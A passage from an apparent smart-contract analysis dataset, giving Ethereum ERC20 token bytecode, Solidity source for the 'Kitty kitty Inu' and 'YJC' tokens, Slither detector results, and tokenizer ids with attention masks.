600087803b158015610e4457600080fd5b505af1158015610e58573d6000803e3d6000fd5b50505050610e65816107ea565b50505050505050505050565b6104548363a9059cbb60e01b8484604051602401610e909291906117d1565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526111c3565b606060ff8216610ef9575060408051808201909152600b81526a26a1a22fa9a424a32a22a960a91b6020820152610945565b8160ff1660011415610945575060408051808201909152600c81526b21a7a6a82fa9a424a32a22a960a11b6020820152610945565b610f3661136f565b610f3e61136f565b610f4661138e565b6060604051806101000160405280876080015181526020018760a0015181526020018761014001518152602001876101600151815260200186604001518152602001866060015181526020018660800151815260200186610100015181525093506040518061010001604052808761010001516001600160a01b03166001600160a01b031681526020018761012001516001600160a01b03166001600160a01b031681526020018760c001516001600160a01b03166001600160a01b031681526020018760e001516001600160a01b03166001600160a01b0316815260200186600001516001600160a01b03166001600160a01b0316815260200186602001516001600160a01b03166001600160a01b031681526020018660c001516001600160a01b03166001600160a01b031681526020018660a001516001600160a01b03166001600160a01b031681525092506040518060600160405280876000015160018111156110b057fe5b60ff1660ff168152602001876020015160018111156110cb57fe5b60ff1660ff168152602001876040015160028111156110e657fe5b60ff16905260e09095015193969295505050565b6000600182600181111561110a57fe5b141561118a57826001600160a01b0316636f307dc36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561114b57600080fd5b505af115801561115f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111839190611549565b90506111bd565b600082600181111561119857fe5b14156111b95750736b175474e89094c44da98b954eedeac495271d0f6111bd565b5060005b92915050565b6060611218826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661125b9092919063ffffffff16565b80519091501561045457808060200190518101906112369190611590565b6104545760405162461bcd60e51b81526004016112529061190d565b60405180910390fd5b606061126a8484600085611272565b949350505050565b606061127d85611336565b6112995760405162461bcd60e51b8152600401611252906118d6565b60006060866001600160a01b031685876040516112b69190611737565b60006040518083038185875af1925050503d80600081146112f3576040519150601f19603f3d011682016040523d82523d6000602084013e6112f8565b606091505b5091509150811561130c57915061126a9050565b80511561131c5780518082602001fd5b8360405162461bcd60e51b81526004016112529190611894565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061126a575050151592915050565b6040518061010001604052806008906020820280368337509192915050565b60405180606001604052806003906020820280368337509192915050565b80356111bd816119c1565b80356111bd816119d6565b600082601f8301126113d2578081fd5b813567ffffffffffffffff8111156113e8578182fd5b6113fb601f8201601f191660200161196e565b915080825283602082850101111561141257600080fd5b8060208401602084013760009082016020015292915050565b8035600281106111bd57600080fd5b8035600381106111bd57600080fd5b600061018080838503121561145c578182fd5b6114658161196e565b915050611472838361142b565b8152611481836020840161142b565b6020820152611493836040840161143a565b60408201526114a583606084016113b7565b60608201526080820135608082015260a082013560a08201526114cb8360c084016113ac565b60c08201526114dd8360e084016113ac565b60e08201526101006114f1848285016113ac565b90820152610120611504848483016113ac565b9082015261014082810135908201526101609182013591810191909152919050565b600060208284031215611537578081fd5b8135611542816119c1565b9392505050565b60006020828403121561155a578081fd5b8151611542816119c1565b60008060408385031215611577578081fd5b8235611582816119c1565b946020939093013593505050565b6000602082840312156115a1578081fd5b8151611542816119d6565b6000602082840312156115bd578081fd5b5051919050565b6000806101a083850312156115d7578182fd5b823567ffffffffffffffff808211156115ee578384fd5b8185019150610120808388031215611604578485fd5b61160d8161196e565b905061161987846113ac565b815261162887602085016113ac565b60208201526040830135604082015260608301356060820152608083013560808201526116588760a085016113ac565b60a082015261166a8760c085016113ac565b60c082015260e083013582811115611680578586fd5b61168c888286016113c2565b60e08301525061010092830135928101929092525091506116b08460208501611449565b90509250929050565b6001600160a01b0316815260200190565b815260200190565b6001600160a01b03169052565b8060005b600381101561170557815160ff168452602093840193909101906001016116e3565b50505050565b60008151808452611723816020860160208601611995565b601f01601f19169290920160200192915050565b60008251611749818460208701611995565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061179a9083018461170b565b9695505050505050565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b6001600160a01b03929092168252602082015260400190565b60006102a08288835b6008811015611818576118078383516116ca565b9250602091909101906001016117f3565b505050610100830187835b6008811015611848576118378383516116b9565b925060209190910190600101611823565b5050506118596102008401876116df565b8061026084015261186c8184018661170b565b91505061179a6102808301846116d2565b9182526001600160a01b0316602082015260400190565b600060208252611542602083018461170b565b6020808252601590820152742627a0a72fa9a424a32a22a92fa922a1a2a4ab22a960591b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b90815260200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561198d57600080fd5b604052919050565b60005b838110156119b0578181015183820152602001611998565b838111156117055750506000910152565b6001600160a01b03811681146108c557600080fd5b80151581146108c557600080fdfea26469706673582212207e2bebfc34982e64f1abcf0d47b6571259c3cb5e84edb7c576f7a375515e96bd64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 18827, 2475, 2497, 14142, 2683, 2050, 2620, 2549, 2546, 2487, 2497, 2575, 2497, 2094, 2581, 2546, 2683, 2050, 23777, 2575, 2509, 6679, 2094, 2509, 2497, 22610, 2549, 3676, 2581, 2546, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 10061, 3206, 17869, 15683, 16869, 1063, 3853, 5956, 4135, 2319, 1006, 4769, 3477, 3085, 1035, 8393, 1010, 4769, 1035, 3914, 1010, 21318, 3372, 1035, 3815, 1010, 27507, 2655, 2850, 2696, 1035, 11498, 5244, 1007, 6327, 7484, 1025, 3853, 12816, 1006, 4769, 1035, 3914, 1010, 21318, 3372, 17788, 2575, 1035, 3815, 1010, 21318, 3372, 16048, 1035, 6523, 7941, 16044, 1007, 6327, 7484, 3477, 3085, 1025, 3853, 2275, 20330, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,828
0x9772a04b0f8dd2ad7a6c674c88a82b31f06c9dd2
/** *Submitted for verification at Etherscan.io on 2021-05-11 */ pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract KittykittyInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Kitty kitty Inu"; symbol = "Kitty"; decimals = 18; _totalSupply = 10000000000000000000000000000; balances[msg.sender] = 10000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a723158205c6362a487fdb0d23e94ef7a99af82e6fd4812f970e099339dc07f184631d85764736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 2475, 2050, 2692, 2549, 2497, 2692, 2546, 2620, 14141, 2475, 4215, 2581, 2050, 2575, 2278, 2575, 2581, 2549, 2278, 2620, 2620, 2050, 2620, 2475, 2497, 21486, 2546, 2692, 2575, 2278, 2683, 14141, 2475, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2340, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,829
0x9773506a735b95a62d06e6adae05ee596de8f489
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract ERC20 is Context, IERC20, Pausable,Ownable { using SafeMath for uint256; mapping (address => uint256) public blackList; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; event Transfer(address indexed from, address indexed to, uint value); event Blacklisted(address indexed target); event DeleteFromBlacklist(address indexed target); event RejectedPaymentToBlacklistedAddr(address indexed from, address indexed to, uint value); event RejectedPaymentFromBlacklistedAddr(address indexed from, address indexed to, uint value); uint256 private _totalSupply; uint256 private _initialSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol,uint256 initialSupply) public { _name = name; _symbol = symbol; _decimals = 18; _initialSupply = initialSupply; } function blacklisting(address _addr) onlyOwner() public{ blackList[_addr] = 1; Blacklisted(_addr); } function deleteFromBlacklist(address _addr) onlyOwner() public{ blackList[_addr] = 0; DeleteFromBlacklist(_addr); } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } function initialSupply() public view returns (uint256) { return _initialSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual whenNotPaused() override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(blackList[msg.sender] == 1){ RejectedPaymentFromBlacklistedAddr(msg.sender, recipient, amount); require(false,"Your BlackList"); } else if(blackList[recipient] == 1){ RejectedPaymentToBlacklistedAddr(msg.sender, recipient, amount); require(false,"recipient BlackList"); } else{ _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.0; abstract contract ERC20Capped is ERC20 { uint256 private _cap; constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "cap exceeded"); } } } pragma solidity ^0.6.0; contract YJCToken is ERC20Capped { constructor(uint256 initialSupply,uint256 cap) ERC20("YJC", "YJC",initialSupply) ERC20Capped(cap) public { _mint(msg.sender, initialSupply); } function mint(uint256 initialSupply) onlyOwner() public { _mint(msg.sender, initialSupply); } function pause() onlyOwner() public { _pause(); } function unpause() onlyOwner() public { _unpause(); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146105e4578063a0712d6814610667578063a457c2d714610695578063a9059cbb146106fb578063dd62ed3e14610761578063f2fde38b146107d957610158565b806370a082311461046257806379cc6790146104ba5780638456cb59146105085780638a294c60146105125780638da5cb5b146105565780638de6b343146105a057610158565b8063378dc3dc11610115578063378dc3dc1461032c578063395093511461034a5780633f4ba83a146103b057806342966c68146103ba5780634838d165146103e85780635c975abb1461044057610158565b806306fdde031461015d578063095ea7b3146101e057806318160ddd1461024657806323b872dd14610264578063313ce567146102ea578063355274ea1461030e575b600080fd5b61016561081d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bf565b604051808215151515815260200191505060405180910390f35b61024e6108dd565b6040518082815260200191505060405180910390f35b6102d06004803603606081101561027a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e7565b604051808215151515815260200191505060405180910390f35b6102f2610a42565b604051808260ff1660ff16815260200191505060405180910390f35b610316610a59565b6040518082815260200191505060405180910390f35b610334610a63565b6040518082815260200191505060405180910390f35b6103966004803603604081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a6d565b604051808215151515815260200191505060405180910390f35b6103b8610b20565b005b6103e6600480360360208110156103d057600080fd5b8101908080359060200190929190505050610bf4565b005b61042a600480360360208110156103fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c08565b6040518082815260200191505060405180910390f35b610448610c20565b604051808215151515815260200191505060405180910390f35b6104a46004803603602081101561047857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c36565b6040518082815260200191505060405180910390f35b610506600480360360408110156104d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7f565b005b610510610ce1565b005b6105546004803603602081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db5565b005b61055e610f09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f32565b005b6105ec611087565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062c578082015181840152602081019050610611565b50505050905090810190601f1680156106595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106936004803603602081101561067d57600080fd5b8101908080359060200190929190505050611129565b005b6106e1600480360360408110156106ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611200565b604051808215151515815260200191505060405180910390f35b6107476004803603604081101561071157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112cd565b604051808215151515815260200191505060405180910390f35b6107c36004803603604081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b6040518082815260200191505060405180910390f35b61081b600480360360208110156107ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ed565b005b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b5050505050905090565b60006108d36108cc6115fd565b8484611605565b6001905092915050565b6000600454905090565b60008060009054906101000a900460ff161561096b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6109768484846117fc565b610a37846109826115fd565b610a32856040518060600160405280602881526020016125cd60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109e86115fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0d9092919063ffffffff16565b611605565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600954905090565b6000600554905090565b6000610b16610a7a6115fd565b84610b118560036000610a8b6115fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff16